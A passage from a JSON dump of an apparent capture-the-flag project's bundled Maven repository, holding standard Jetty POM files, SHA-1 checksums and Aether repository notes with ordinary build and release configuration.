    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.eclipse.jetty</groupId>\n    <artifactId>jetty-parent</artifactId>\n    <version>14</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.mortbay.jetty</groupId>\n  <artifactId>jetty-parent</artifactId>\n  <packaging>pom</packaging>\n  <name>Jetty :: Codehaus Parent</name>\n  <description>Parent pom for Jetty at Codehaus</description>\n  <version>10</version>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/JETTY</url>\n  </issueManagement>\n  <organization>\n    <name>Mort Bay Consulting</name>\n    <url>http://www.mortbay.com</url>\n  </organization>\n  <scm>\n    <connection>scm:svn:https://svn.codehaus.org/jetty/pom/tags/jetty-parent-10</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/jetty/pom/tags/jetty-parent-10</developerConnection>\n    <url>scm:svn:https://svn.codehaus.org/jetty/pom/tags/jetty-parent-10</url>\n  </scm>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <tagBase>https://svn.codehaus.org/jetty/pom/tags</tagBase>\n          <useReleaseProfile>false</useReleaseProfile>\n          <goals>deploy</goals>\n          <arguments>-Pcodehaus-release</arguments>\n          <preparationGoals>clean install</preparationGoals>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <profiles>\n    <profile>\n      <id>codehaus-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n         <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-parent/10/jetty-parent-10.pom.sha1",
    "content": "b7bd7f70d9e17ede85e6bd8d4b33d7ffa8ca63f7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-parent/7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:03:13 CST 2018\njetty-parent-7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-parent/7/jetty-parent-7.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.mortbay.jetty</groupId>\n  <artifactId>jetty-parent</artifactId>\n  <packaging>pom</packaging>\n  <name>Jetty :: Administrative Parent</name>\n  <version>7</version>\n  <url>http://jetty.mortbay.org</url>\n  <inceptionYear>1995</inceptionYear>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/JETTY</url>\n  </issueManagement>\n  <mailingLists>\n    <mailingList>\n      <name>Jetty User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40jetty.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/user%40jetty.codehaus.org</unsubscribe>\n      <archive>http://archive.jetty.codehaus.org/user</archive>\n    </mailingList>\n    <mailingList>\n      <name>Jetty Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40jetty.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40jetty.codehaus.org</unsubscribe>\n      <archive>http://archive.jetty.codehaus.org/dev</archive>\n    </mailingList>\n    <mailingList>\n      <name>Jetty Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40jetty.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40jetty.codehaus.org</unsubscribe>\n      <archive>http://archive.jetty.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Jetty Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40jetty.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40jetty.codehaus.org</unsubscribe>\n      <archive>http://archive.jetty.codehaus.org/scm</archive>\n    </mailingList>\n    <mailingList>\n      <name>Defunct - Jetty Discuss List</name>\n      <archive>http://lists.sourceforge.net/lists/listinfo/jetty-discuss</archive>\n      <otherArchives>\n        <otherArchive>http://www.nabble.com/Jetty-Discuss-f60.html</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Defunct - Jetty Support List</name>\n      <archive>http://lists.sourceforge.net/lists/listinfo/jetty-support</archive>\n      <otherArchives>\n        <otherArchive>http://www.nabble.com/Jetty-Support-f61.html</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Defunct - Jetty Announce List</name>\n      <archive>http://lists.sourceforge.net/lists/listinfo/jetty-announce</archive>\n      <otherArchives>\n        <otherArchive>http://www.nabble.com/Jetty---Announce-f2649.html</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>gregw</id>\n      <name>Greg Wilkins</name>\n      <email>gregw@apache.org</email>\n      <url>http://www.mortbay.com/mortbay/people/gregw</url>\n      <organization>Mort Bay Consulting</organization>\n      <organizationUrl>http://www.mortbay.com</organizationUrl>\n    </developer>\n    <developer>\n      <id>janb</id>\n      <name>Jan Bartel</name>\n      <email>janb@apache.org</email>\n      <url>http://www.mortbay.com/people/janb</url>\n      <organization>Mort Bay Consulting</organization>\n      <organizationUrl>http://www.mortbay.com</organizationUrl>\n    </developer>\n    <developer>\n      <id>jules</id>\n      <name>Jules Gosnell</name>\n      <email>jules@apache.org</email>\n      <organization />\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <email>jstrachan@apache.org</email>\n      <organization>Logic Blaze</organization>\n      <organizationUrl>http://www.logicblaze.com</organizationUrl>\n    </developer>\n    <developer>\n      <id>sbordet</id>\n      <name>Simone Bordet</name>\n      <email>simone.bordet@gmail.com</email>\n    </developer>\n    <developer>\n      <id>tvernum</id>\n      <name>Tim Vernum</name>\n      <email>tim@adjective.org</email>\n      <organization />\n    </developer>\n    <developer>\n      <id>ngonzalez</id>\n      <name>Nik Gonzalez</name>\n      <email>ngonzalez@exist.com</email>\n      <organization />\n    </developer>\n    <developer>\n      <id>jfarcand</id>\n      <name>Jeanfrancois Arcand</name>\n      <email>jfarcand@apache.org</email>\n      <organization>Sun Microsystems</organization>\n      <organizationUrl>http://www.sun.com</organizationUrl>\n    </developer>\n    <developer>\n      <id>jesse</id>\n      <name>Jesse McConnell</name>\n      <email>jesse@webtide.org</email>\n      <organization>Webtide, LLC</organization>\n      <organizationUrl>http://www.webtide.com</organizationUrl>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>djencks</id>\n      <name>David Jencks</name>\n      <email>david_jencks@yahoo.com</email>\n      <organization>IBM</organization>\n    </developer>\n    <developer>\n      <id>dyu</id>\n      <name>David Yu</name>\n      <email>david.yu.ftw@gmail.com</email>\n      <organization>Webtide</organization>\n      <organizationUrl>http://www.webtide.com</organizationUrl>\n    </developer>\n  </developers>\n  <licenses>\n    <license>\n      <name>Apache License Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0</url>\n    </license>\n  </licenses>\n  <organization>\n    <name>Mort Bay Consulting</name>\n    <url>http://www.mortbay.com</url>\n  </organization>\n  <repositories>\n    <repository>\n      <id>codehaus.org</id>\n      <name>Jetty Snapshot Repository</name>\n      <layout>default</layout>\n      <url>http://snapshots.repository.codehaus.org</url>\n      <snapshots>\n        <enabled>true</enabled>\n      </snapshots>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n   </repository>\n    <repository>\n      <id>java.net</id>\n      <url>http://download.java.net/maven/2</url>\n      <layout>default</layout>\n      <releases>\n        <enabled>true</enabled>\n      </releases>\n      <snapshots>\n        <enabled>false</enabled>\n      </snapshots>\n    </repository>\n    <repository>\n      <id>m1.java.net</id>\n      <url>http://download.java.net/maven/1</url>\n      <layout>legacy</layout>\n      <releases>\n        <enabled>true</enabled>\n      </releases>\n      <snapshots>\n        <enabled>false</enabled>\n      </snapshots>\n    </repository>\n  </repositories>\n  <pluginRepositories>\n    <pluginRepository>\n      <id>codehaus.org</id>\n      <name>Jetty Snapshot Repository</name>\n      <layout>default</layout>\n      <url>http://snapshots.repository.codehaus.org</url>\n      <snapshots>\n        <enabled>true</enabled>\n      </snapshots>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n   </pluginRepository>\n  </pluginRepositories>\n  <distributionManagement>\n    <repository>\n      <id>codehaus.org</id>\n      <name>Jetty Repository</name>\n      <url>dav:https://dav.codehaus.org/repository/jetty/</url>\n    </repository>\n    <snapshotRepository>\n      <id>codehaus.org</id>\n      <name>Jetty Snapshot Repository</name>\n      <url>dav:https://dav.codehaus.org/snapshots.repository/jetty/</url>\n    </snapshotRepository>\n  </distributionManagement>\n  <scm>\n    <connection>scm:svn:https://svn.codehaus.org/jetty/pom/tags/jetty-parent-7</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/jetty/pom/tags/jetty-parent-7</developerConnection>\n    <url>scm:svn:https://svn.codehaus.org/jetty/pom/tags/jetty-parent-7</url>\n  </scm>\n  <build>\n    <extensions>\n      <extension>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-ssh-external</artifactId>\n        <version>${maven-wagon-version}</version>\n      </extension>\n      <extension>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-ssh</artifactId>\n        <version>${maven-wagon-version}</version>\n      </extension>\n      <extension>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-webdav</artifactId>\n        <version>${maven-wagon-version}</version>\n      </extension>\n    </extensions>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <version>1.0-alpha-3</version>\n        <executions>\n          <execution>\n            <id>enforce-java</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <requireMavenVersion>\n                  <version>[2.0.6,)</version>\n                </requireMavenVersion>\n                <requireJavaVersion>\n                  <version>[1.5,)</version>\n                </requireJavaVersion>\n              </rules>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <tagBase>https://svn.codehaus.org/jetty/pom/tags</tagBase>\n          <useReleaseProfile>false</useReleaseProfile>\n          <goals>deploy</goals>\n          <arguments>-Pcodehaus-release</arguments>\n          <preparationGoals>clean install</preparationGoals>\n        </configuration>\n      </plugin>\n    </plugins>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-dependency-plugin</artifactId>\n          <version>2.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0-beta-6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.0.3</version>\n        </plugin>\n         <plugin>\n          <groupId>org.apache.maven</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-war-plugin</artifactId>\n          <version>2.0.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>exec-maven-plugin</artifactId>\n          <version>1.0.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>1.4.0</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n  <properties>\n    <maven-wagon-version>1.0-beta-2</maven-wagon-version>\n  </properties>\n  <profiles>\n    <profile>\n      <id>codehaus-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <altDeploymentRepository>${deploy.altRepository}</altDeploymentRepository>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n         <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-parent/7/jetty-parent-7.pom.sha1",
    "content": "070ed3160bc4b0ca224b76f828e74e27a133d08e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-util/6.1.25/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\njetty-util-6.1.25.jar>central=\njetty-util-6.1.25.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-util/6.1.25/jetty-util-6.1.25.jar.sha1",
    "content": "5527b01ad9c4a12b4101f9ddca31c04ac4fe8614"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-util/6.1.25/jetty-util-6.1.25.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>project</artifactId>\n    <groupId>org.mortbay.jetty</groupId>\n    <version>6.1.25</version>\n    <relativePath>../../pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.mortbay.jetty</groupId>\n  <artifactId>jetty-util</artifactId>\n  <name>Jetty Utilities</name>\n  <description>Utility classes for Jetty</description>\n  <build>\n    <testResources>\n      <testResource>\n        <directory>src/test/java</directory>\n        <includes>\n          <include>**/*Test.java</include>\n          <include>org/mortbay/**/*.xml</include>\n        </includes>\n        <excludes>\n          <exclude>**/Abstract*.java</exclude>\n        </excludes>\n      </testResource>\n    </testResources>\n    <plugins>\n      <plugin>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>clean</id>\n            <phase>clean</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <tasks>\n                <delete failonerror=\"false\" file=\"../../lib/${project.artifactId}-${project.version}.${project.packaging}\" />\n                <delete failonerror=\"false\" file=\"../../etc/jetty-logging.xml\" />\n              </tasks>\n            </configuration>\n          </execution>\n          <execution>\n            <id>copyjar</id>\n            <phase>install</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <tasks>\n                <copy failonerror=\"false\" file=\"target/${project.artifactId}-${project.version}.${project.packaging}\" todir=\"../../lib/\" />\n                <copy failonerror=\"false\" file=\"src/main/config/etc/jetty-logging.xml\" todir=\"../../etc\" />\n              </tasks>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <version>${maven-bundle-plugin-version}</version>\n        <extensions>true</extensions>\n        <executions>\n          <execution>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n            <configuration>\n              <instructions>\n                <Bundle-SymbolicName>org.mortbay.jetty.util</Bundle-SymbolicName>\n                <Bundle-RequiredExecutionEnvironment>J2SE-1.4</Bundle-RequiredExecutionEnvironment>\n                <Import-Package>!org.mortbay.*,org.slf4j;resolution:=optional,*</Import-Package>\n                <Bundle-DocURL>http://jetty.mortbay.org</Bundle-DocURL>\n              </instructions>\n            </configuration>\n           </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <!--\n        Required for OSGI\n        -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>               \n            <manifestFile>${project.build.outputDirectory}/META-INF/MANIFEST.MF</manifestFile>\n          </archive>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.mortbay.jetty</groupId>\n      <artifactId>servlet-api</artifactId>\n      <version>${servlet-version}</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.slf4j</groupId>\n      <artifactId>slf4j-api</artifactId>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-util/6.1.25/jetty-util-6.1.25.pom.sha1",
    "content": "bce386b9ab440e507068020dc87df929d1e56317"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/project/6.1.25/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:03:03 CST 2018\nproject-6.1.25.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/project/6.1.25/project-6.1.25.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.mortbay.jetty</groupId>\n    <artifactId>jetty-parent</artifactId>\n    <version>10</version>\n  </parent>\n  <groupId>org.mortbay.jetty</groupId>\n  <artifactId>project</artifactId>\n  <packaging>pom</packaging>\n  <name>Jetty Server Project</name>\n  <version>6.1.25</version>\n  <repositories>\n    <repository>\n      <id>codehaus.org</id>\n      <name>Jetty snapshots</name>\n      <layout>default</layout>\n      <url>http://snapshots.repository.codehaus.org</url>\n      <snapshots>\n        <enabled>true</enabled>\n      </snapshots>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/jetty/jetty/branches/jetty-6.1</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/jetty/jetty/branches/jetty-6.1</developerConnection>\n    <url>http://fisheye.codehaus.org/viewrep/jetty/</url>\n  </scm>\n  <build>\n    <defaultGoal>install</defaultGoal>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>enforce-java</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <requireMavenVersion>\n                  <version>2.0.6</version>\n                </requireMavenVersion>\n                <requireJavaVersion>\n                  <version>[1.4,)</version>\n                </requireJavaVersion>\n              </rules>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <inherited>true</inherited>\n        <configuration>\n          <source>1.4</source>\n          <target>1.4</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <tagBase>https://svn.codehaus.org/jetty/jetty/tags</tagBase>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <version>2.1</version>\n        <configuration>\n          <archive>\n            <manifestEntries>\n              <mode>development</mode>\n              <url>${pom.url}</url>\n\t          <implementation-version>${pom.version}</implementation-version>\n\t          <package>org.mortbay</package>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n\t    <inherited>true</inherited>\n\t    <groupId>org.apache.maven.plugins</groupId>\n\t    <artifactId>maven-source-plugin</artifactId>\n\t    <executions>\n\t      <execution>\n\t        <id>attach-sources</id>\n\t        <goals>\n\t          <goal>jar</goal>\n\t        </goals>\n\t      </execution>\n\t    </executions>\n      </plugin>\n    </plugins>\n    <pluginManagement>\n\t  <plugins>\n\t    <plugin>\n\t\t  <groupId>org.apache.maven</groupId>\n\t\t  <artifactId>maven-surefire-plugin</artifactId>\n\t\t  <version>2.3</version>\n\t    </plugin>\n\t  </plugins>\n    </pluginManagement>\n  </build>\n  <modules>\n    <module>modules/util</module>\n    <module>modules/util5</module>\n    <module>modules/jetty</module>\n    <module>modules/jsp-2.1</module>\n    <module>modules/jsp-api-2.0</module>\n    <module>modules/jsp-2.0</module>\n    <module>modules/management</module>\n    <module>modules/start</module>\n    <module>modules/maven-plugin</module>\n    <module>modules/jspc-maven-plugin</module>\n    <module>modules/naming</module>\n    <module>modules/plus</module>\n    <module>modules/html</module>\n    <module>modules/annotations</module>\n\n    <module>extras/servlet-tester</module>\n    <module>extras/xbean</module>\n    <module>extras/spring</module>\n    <module>extras/sslengine</module>\n    <module>extras/ajp</module>\n    <module>extras/win32service</module>\n    <!--module>extras/gwt</module-->\n    <module>extras/threadpool</module>\n    <module>extras/client</module>\n    <module>extras/jetty-java5-stats</module>\n\n    <module>examples/test-webapp</module>\n    <module>examples/test-jaas-webapp</module>\n    <module>examples/test-jndi-webapp</module>\n    <module>examples/embedded</module>\n    <!-- <module>examples/spring-ebj3-demo</module> -->\n    <module>examples/tests</module>\n\n\n    <module>contrib/cometd</module>\n    <module>contrib/jetty-ant</module>\n    <module>contrib/jetty-rewrite-handler</module>\n    <module>contrib/jetty-ldap-jaas</module>\n    <module>contrib/start-daemon</module>\n    <!--module>contrib/grizzly</module-->\n    <!--module>contrib/wadi</module-->\n    <module>contrib/terracotta</module>\n    <module>contrib/sweeper</module>\n    <module>extras/setuid</module>\n  </modules>\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-tools-api</artifactId>\n        <version>2.0</version>\n      </dependency>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>${junit-version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>jcl104-over-slf4j</artifactId>\n        <version>${slf4j-version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>slf4j-simple</artifactId>\n        <version>${slf4j-version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>slf4j-api</artifactId>\n        <version>${slf4j-version}</version>\n      </dependency>\n      <dependency>\n        <groupId>ant</groupId>\n        <artifactId>ant</artifactId>\n        <version>${ant-version}</version>\n      </dependency>\n      <dependency>\n        <groupId>geronimo-spec</groupId>\n        <artifactId>geronimo-spec-jta</artifactId>\n        <version>${jta-spec-version}</version>\n      </dependency>\n      <dependency>\n        <groupId>javax.mail</groupId>\n        <artifactId>mail</artifactId>\n        <version>${mail-version}</version>\n      </dependency>\n      <dependency>\n        <groupId>javax.activation</groupId>\n        <artifactId>activation</artifactId>\n        <version>${activation-version}</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n  <properties>\n    <test-test>${basedir}</test-test>\n    <servlet-version>2.5-20081211</servlet-version>\n    <jsp21-version>2.1.v20091210</jsp21-version>\n    <activation-version>1.1</activation-version>\n    <ant-version>1.6.5</ant-version>\n    <jta-spec-version>1.0.1B-rc4</jta-spec-version>\n    <junit-version>3.8.2</junit-version>\n    <mail-version>1.4</mail-version>\n    <slf4j-version>1.3.1</slf4j-version>\n    <maven-bundle-plugin-version>1.4.0</maven-bundle-plugin-version>\n    <maven-jar-plugin-version>2.2</maven-jar-plugin-version>\n  </properties>\n  <profiles>\n    <profile>\n      <id>generate-site</id>\n      <build>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <configuration>\n                <resourceBundles>\n                  <resourceBundle>org.mortbay.jetty:jetty-build-resources:1.0.1</resourceBundle>\n                </resourceBundles>\n              </configuration>\n        </plugin>\n        <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n              <configuration>\n                <excludePackageNames>org.apache.*:ebay.*:javax.*:com.sun.*:com.google.*:dojox.*:com.acme.*</excludePackageNames>\n                <aggregate>true</aggregate>\n                <debug>false</debug>\n                <stylesheetfile>${project.build.directory}/maven-shared-archive-resources/org/mortbay/jetty/build/resources/javadoc.css</stylesheetfile>\n                <links>\n                  <link>http://java.sun.com/javaee/5/docs/api</link>\n                  <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n                </links>\n                <reportOutputDirectory>${basedir}</reportOutputDirectory>\n                <destDir>javadoc</destDir>\n            </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jxr-plugin</artifactId>\n          <version>2.1</version>\n          <configuration>\n            <aggregate>true</aggregate>\n            <javadocDir>${basedir}/javadoc</javadocDir>\n            <destDir>${basedir}/jxr</destDir>\n          </configuration>\n        </plugin>\n      </plugins>\n      </build>\n    </profile>\n  </profiles>\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.0</version>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/project/6.1.25/project-6.1.25.pom.sha1",
    "content": "80c3b0eacdd22e6488a86efffc20e879cbc51e9f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/servlet-api/2.5-20081211/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\nservlet-api-2.5-20081211.jar>central=\nservlet-api-2.5-20081211.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/servlet-api/2.5-20081211/servlet-api-2.5-20081211.jar.sha1",
    "content": "22bff70037e1e6fa7e6413149489552ee2064702"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/servlet-api/2.5-20081211/servlet-api-2.5-20081211.pom",
